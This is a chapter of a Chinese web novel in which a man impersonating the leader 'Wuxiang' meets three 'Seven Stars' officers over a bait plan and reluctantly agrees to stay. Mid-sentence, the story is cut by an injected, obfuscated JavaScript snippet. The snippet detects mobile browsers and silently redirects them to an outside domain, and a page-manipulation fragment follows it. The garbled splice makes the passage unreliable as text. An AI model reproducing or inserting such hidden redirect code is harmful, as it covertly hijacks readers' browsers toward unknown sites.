会议室的门虚掩着,他到来时,恰好一阵风吹来,吱呀一声,那扇门缓缓打开。 灯火通明的室内,宛如凝郁的氛围中,坐姿各异的三人抬起头,见到了来势汹汹的首领。 某种无形的压迫,似乎在黑袍男人的沉默中诞生。 “无相大人,您来了。” 颜诡放下手中的资料,先起身,恭敬唤了一句,行为挑不出一丝错,打破了那种古怪的氛围。 他的黑眼圈消退不少,但眉宇间依旧带着浅淡的疲倦。 “没想到无相大人这回来得这么早。”这是摩菲·戈尔德轻佻的口吻,尾音在“早”字上拖长,似乎带了点别的意味。 他松松垮垮站起,随后又好似不经意地提了一句,“最近不像无相大人的事,还真多啊。” 乌镶月不动声色望向第三个人。这里威胁最大的根本不是摩菲·戈尔德的口头试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845870|175778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探,而可能是另一个人。 紫发青金色眼睛,一副温和平静好说话样的年轻男人,加卡托兰里赫赫有名的疯子炼金术师。 对方似乎更慢一拍,看两位同僚都起来,才站起来,张了张口,“无……” “你们的计划是怎么回事!” 乌镶月跨入会议室,快速打断他,以防对方说出什么惊世骇俗的话。他不知道季星·戴纳的怀疑打消没有,要不是事出突然,他根本不想和这人碰面。 “计划?” 作为计划主要负责人,颜诡瞥向桌上的文件,坦荡回视,“哪里出了差错吗?无相大人。” 一听是差错,其他两人的目光也好奇起来,摩菲·戈尔德更是不怀好意地刺了一句,“不会是又要返工吧?那可得再辛苦颜诡大人了。” 颜诡眉头都拧起来了,居然没有反驳。 乌镶月不明白他们阳奉阴违被抓住了,为什么这么平静。 难道是他误会了?还是有什么他不知道的因素?也对,好歹是七星,怎么会使用已经被敌方探子知道的计划。 “这取决于你们实施的是哪一版计划。”他压下情绪,换了种说法。 七星三人互相对视一眼。季星·戴纳一脸状况外,似乎不在意。颜诡眉头皱得更紧了。 摩菲·戈尔德挑了挑眉,“自然是您选择的那个。” 真是误会?下面那些人不小心听到废案了吧。 他松了口气,确定了自己不会被当做用来挥霍的炮灰,就打算走了。 昨天他胆战心惊了一晚上,还是没法说服自己就这么等死,现在问题解决,此地不可久留,七星中三人都在,万一串通起来找他麻烦,可不好应付。 在颜诡等人眼中,黑袍男人听了答案,不知是对此感到满意,还是根本不想多说,身形微转,袍角扬起,似是如时那般,要匆匆离开了。 “无相大人,您不留下来,看护战局吗?” 出乎意料,在角落里全程除了最开始的招呼外,一声不发的季星·戴纳开口了。 有什么好看的,反正你们都在,还能出什么岔子,他还赶着回去参加集合呢。乌镶月满不在乎想着,打算随便给个理由糊弄过去。 “我……” “如果您不在,您之前选定的计划或许会出变动,我们就只能先使用最开始的那个了。” 宛如平地惊雷,乌镶月一瞬间脑子都糊住了。最开始的那个?诱敌计划?可…… “那计划已经被敌人知晓。”他干涩地吐出一句话。 “是的,但敌方不能确定我们发现了。”回答的是颜诡。 金发狐狸眼青年说:“因此,仍然有将计就计的价值。” 将计就计?是他所想的那个将计就计吗?所以还会派出先遣队当诱饵,后续再做变动? 乌镶月看向加卡托兰翻手为云覆手为雨的三位七星。 偌大的会议室内,灯光如炬,众人的神色清晰可辨,颜诡、摩菲·戈尔德,季星·戴纳,没有一个人露出质疑的表情,没人认为有问题,没人提出需要修改。 好像试图改变的他,才是不正常的那个。 这很正常。 乌镶月对自己说,因为无相大人不看护战场,为了防止出现变故,他们自然会选择更好控制的计划。 他听说过的,上位者总是需要顾全大局,牺牲小我,换取更大的利益与机会。 这没什么奇怪的,只是做出了恰当的选择。 “好。”种种思虑从脑中闪过,他听见自己从嗓子里挤出的声音,“我留下。” 所以他也做出了选择。